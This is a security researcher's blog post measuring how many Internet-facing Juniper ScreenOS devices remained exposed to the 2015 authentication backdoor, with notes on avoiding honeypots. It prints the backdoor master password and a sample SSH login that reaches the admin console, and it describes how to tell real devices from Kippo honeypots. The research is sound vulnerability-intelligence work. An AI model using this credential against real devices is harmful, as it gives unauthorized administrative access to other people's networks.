Scanning the Internet for backdoored ScreenOS devices: some statistics and tales of evading honeypots

EDIT: January 6th 2016 – it looks like I used the wrong tag on Censys, leading to a much higher number of potential NetScreen devices. Will update the post as soon as I get everything right. Fixed.

On December 18th 2015, Juniper published an advisory stating that unauthorized code was discovered in its flagship product ScreenOS. This unauthorized code were in fact two different backdoors: one related to a weakened encryption algorithm that makes traffic prone to eavesdropping by a passive attacker and another one that affects the authentication mechanism, allowing an adversary to gain unfettered access to the device using a secret account.

The focus of this blog post is to gather statistics on the approximate number of Internet-facing Juniper ScreenOS affected by this publicly-disclosed authentication backdoor. This study leveraged results from passive search engines such as SHODAN and Censys.

Open sesame: <<< %s(un=’%s’) = %u

As documented by Rapid7 and multiple other researchers, the authentication backdoor was engineered in a way that allowed for anyone able to connect to the device’s Telnet or SSH to gain remote administrator privileges. Researchers noted that potential attackers could connect with an arbitrary username (including non-existent ones) along with the backdoor password in order to gain administrative access.

$ ssh any_user_really@74.xx.xx.xx
any_user_really@74.xx.xx.xx's password: &lt;&lt;&lt; %s(un='%s') = %u
Remote Management Console
clear                clear dynamic system info
delete               delete persistent info in flash
exec                 exec system commands
exit                 exit command console
get                  get system information
mtrace               multicast traceroute from source to destination
ping                 ping other host
reset                reset system
save                 save command
set                  configure system parameters
telnet               Telnet other hostname
trace-route          trace route
unset                unconfigure system parameters
REDACTED-&gt; exit

It’s simple like this.

As stated in Juniper’s advisory, the following versions were found to be affected: 6.2.0r15 to 6.2.0r18 and 6.3.0r12 to 6.3.0r20.

Scanning methodology

As of December 29th 2015, Censys returned 51,382 records for the query “22.ssh.banner.raw_banner:NetScreen”. SHODAN, on the other hand, returned 26,041 Internet-facing hosts running NetScreen. An analysis was performed using data from Censys as it contained a larger number of valid IPs as dataset.

This analysis used a data set of 42,709 IPs running ScreenOS in order to have a good estimate of the percentage of total number of devices affected by this backdoor. The scans were completed over the span of five days, but only a few hours of scanning were done on each day. All passive and active scanning ended on January 5th, almost 18 days after the disclosure of the backdoor by Juniper and a bit more than two weeks after the password was made public by Rapid7.

Most of the scanning, both active and passive, and this blog post, was done during the 32nd Chaos Communication Congress in Hamburg, Germany and the last part of the scan was performed over a ridiculous slow ADSL line while overseeing the mountains of Zakopane, Poland and a VPS hosted at Digital Ocean.

Evading honeypots on our way

On December 22nd, just a few days after the backdoor was disclosed, Greg Martin released on Github a Kippo honeypot mod to mimic a vulnerable ScreenOS. When performing a more sustained scan in the morning of December 29th it was noticed a very unusual large number of successful results from the scanner, unlike other scans conducted in the past. This immediately rang a bell that the scanner was being fooled by honeypots and was later confirmed to be true: many of the “backdoored devices” were actually Kippo honeypots disguised as vulnerable ScreenOS instances.

There are several ways to remotely detect Kippo, either already inside its shell or relying on other known methods. However, it was not necessary to resort to any of these methods in order to tell apart real backdoored devices from honeypots: the real backdoor accepts ANY username with the backdoor password whereas the honeypot only accepts the combo login: system password: <<< %s(un=’%s’) = %u which was published by Rapid7.

Long story short, the scanner was modified to connect with the username ‘honeytrap’ and the backdoor password instead of its original ‘system’ login and the scans have restarted from scratch to avoid false positives caused by the honeypots.

If you have seen an SSH connection attempt to your ScreenOS with the ‘honeytrap’ username, it was most likely the scanner used for this study.

In order to validate the presence of this vulnerability, this analysis performed a basic authentication check. No further actions were taken after this point. The sole purpose of this study was to collect statistics for vulnerability intelligence.


The scans were able to detect 1,595 potentially unpatched devices even after more than two weeks of the disclosure of the backdoor. This only highlights the fact a large number of organisations have poor vulnerability management practices and overlooked all reports the security community and IT media outlets gave about this particular issue.

The top 5 countries with the largest number of vulnerable devices were:

– United States: 480
– China: 134
– Japan: 112
– Germany: 107
– South Korea: 100

Approximately 31% of the total number of affected ScreenOS devices were found in the United States. As a side note, this study also found a very small number of backdoored Junipers in countries like Iran, Russia and Iraq.

A plotted map to aid the visualization of the results can be seen below:



More than two weeks after the full disclosure of the Juniper ScreenOS backdoor, it seems like many organizations did not get the memo and did not pro-actively react to the issue by updating their devices. Approximately 3.1% of the Internet-facing NetScreens are prone to remote intrusion, and out of all vulnerable devices a good part of them can be found in the United States.

A little speculation on the lack of timely patching: evidently there was not a Heartbleed-like media blitz on the Juniper backdoors, and this can be one of the reasons why many IT department in the affected organizations did not patch — they simply might have not heard of the issue yet, or possibly because their contract support with Juniper is no longer active. It is safe to assume that numerous organizations will have their networks exposed for many more months to come and penetration testers are likely to find unpatched devices, especially in internal networks, for even longer periods of time.

Scanning the Internet for backdoored ScreenOS devices: some statistics and tales of evading honeypots

5 thoughts on “Scanning the Internet for backdoored ScreenOS devices: some statistics and tales of evading honeypots

    1. Hi Honeypotter,

      Thanks for the comment. I’ll have a look into it. When performing some of the scans I noticed a large number of Kippos that would only accept ‘system’ as username and reject all the others, this was one way to detect them in a semi-reliable fashion. I could notice a drastic drop in the number of successful checks. Detecting even the one by ThreatStream would probably not take much longer as Kippo can be easily detected. Anyway, cheers for the heads up and I’ll come back if I have any more info to share on this.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s